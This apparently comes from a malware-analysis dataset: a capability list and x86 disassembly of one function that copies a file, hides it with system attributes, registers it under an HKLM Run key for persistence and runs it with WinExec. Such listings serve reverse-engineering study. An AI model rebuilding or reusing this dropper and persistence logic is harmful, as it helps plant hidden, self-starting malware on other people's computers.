Function at 0x406ac8
Capabilities:
Copy file
Create process on windows
Delete file
Persist via run registry key
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xd
push 0
push 0
dec ecx
jne 0x406ad0
push ecx
push ebx
push esi
push edi
mov eax, 0x406a70
call fcn.00404330
xor eax, eax
push ebp
push 0x406d9c
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0040540c
test al, al
je 0x406b01
call fcn.00405430
lea eax, [ebp - 0x14]
call fcn.00404f64
mov edx, dword [ebp - 0x14]
mov eax, 0x40873c
call fcn.0040369c
mov eax, 0x408740
call fcn.00403648
mov eax, dword [0x40873c]
call fcn.004037c0
mov ebx, eax
test ebx, ebx
jle 0x406b61
mov esi, 1
lea eax, [ebp - 0x18]
mov edx, dword [0x40873c]
movzx edx, byte [edx + esi - 1]
mov ecx, dword [0x4070b4]
add edx, dword [ecx]
call fcn.00403768
mov edx, dword [ebp - 0x18]
mov eax, 0x408740
call fcn.004037c8
inc esi
dec ebx
jne 0x406b35
lea edx, [ebp - 0x4c]
mov eax, dword [0x408740]
call fcn.00405080
lea edx, [ebp - 0x4c]
mov eax, 0x408708
mov ecx, dword [0x404764]
call fcn.00403d34
cmp dword [0x408714], 0
je 0x406b8f
call fcn.00405ef4
mov eax, dword [0x408720]
sub eax, 1
jb 0x406ba0
je 0x406bbd
dec eax
je 0x406bda
jmp 0x406bf7
lea eax, [ebp - 0x50]
call fcn.00404e0c
mov edx, dword [ebp - 0x50]
mov eax, 0x408744
mov ecx, dword [0x408724]
call fcn.0040380c
jmp 0x406c12
lea eax, [ebp - 0x54]
call fcn.00404e5c
mov edx, dword [ebp - 0x54]
mov eax, 0x408744
mov ecx, dword [0x408724]
call fcn.0040380c
jmp 0x406c12
lea eax, [ebp - 0x58]
call fcn.00404eac
mov edx, dword [ebp - 0x58]
mov eax, 0x408744
mov ecx, dword [0x408724]
call fcn.0040380c
jmp 0x406c12
lea eax, [ebp - 0x5c]
call fcn.00404eac
mov edx, dword [ebp - 0x5c]
mov eax, 0x408744
mov ecx, dword [0x408724]
call fcn.0040380c
lea edx, [ebp - 0x60]
mov eax, dword [0x408744]
call fcn.00404d2c
mov eax, dword [ebp - 0x60]
push eax
lea edx, [ebp - 0x68]
xor eax, eax
call fcn.004026f4
mov eax, dword [ebp - 0x68]
lea edx, [ebp - 0x64]
call fcn.00404d2c
mov eax, dword [ebp - 0x64]
pop edx
call fcn.00404db8
test eax, eax
je 0x406d28
mov byte [0x408748], 1
xor eax, eax
push ebp
push 0x406cf4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x408744]
call fcn.00404cf4
test al, al
je 0x406cb3
push 0x80
mov eax, dword [0x408744]
call fcn.004039c0
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
mov eax, dword [0x408744]
call fcn.004039c0
push eax
call sub.KERNEL32.DLL_DeleteFileA
mov eax, dword [0x408744]
call fcn.00404cf4
test al, al
je 0x406cb3
xor eax, eax
call fcn.00403630
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x406d66
push 0
mov eax, dword [0x408744]
call fcn.004039c0
push eax
lea edx, [ebp - 0x6c]
xor eax, eax
call fcn.004026f4
mov eax, dword [ebp - 0x6c]
call fcn.004039c0
push eax
call sub.KERNEL32.DLL_CopyFileA
push 7
mov eax, dword [0x408744]
call fcn.004039c0
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x406cfe
mov eax, dword [0x408744]
call fcn.004039c0
push eax
push 1
mov eax, dword [0x40871c]
call fcn.004039c0
mov ecx, eax
mov edx, 0x406dac
mov eax, 0x80000002
call fcn.00404698
jmp 0x406d2f
mov byte [0x408748], 0
cmp byte [0x408748], 0
je 0x406d61
push 5
mov eax, dword [0x408744]
call fcn.004039c0
push eax
call sub.KERNEL32.DLL_WinExec
cmp dword [0x408728], 0
je 0x406d58
call fcn.00404a2c
xor eax, eax
call fcn.00403630
jmp 0x406d66
call fcn.004065d0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406da3
lea eax, [ebp - 0x6c]
mov edx, 8
call fcn.0040366c
lea eax, [ebp - 0x4c]
mov edx, dword [0x404764]
call fcn.00403be4
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.0040366c
ret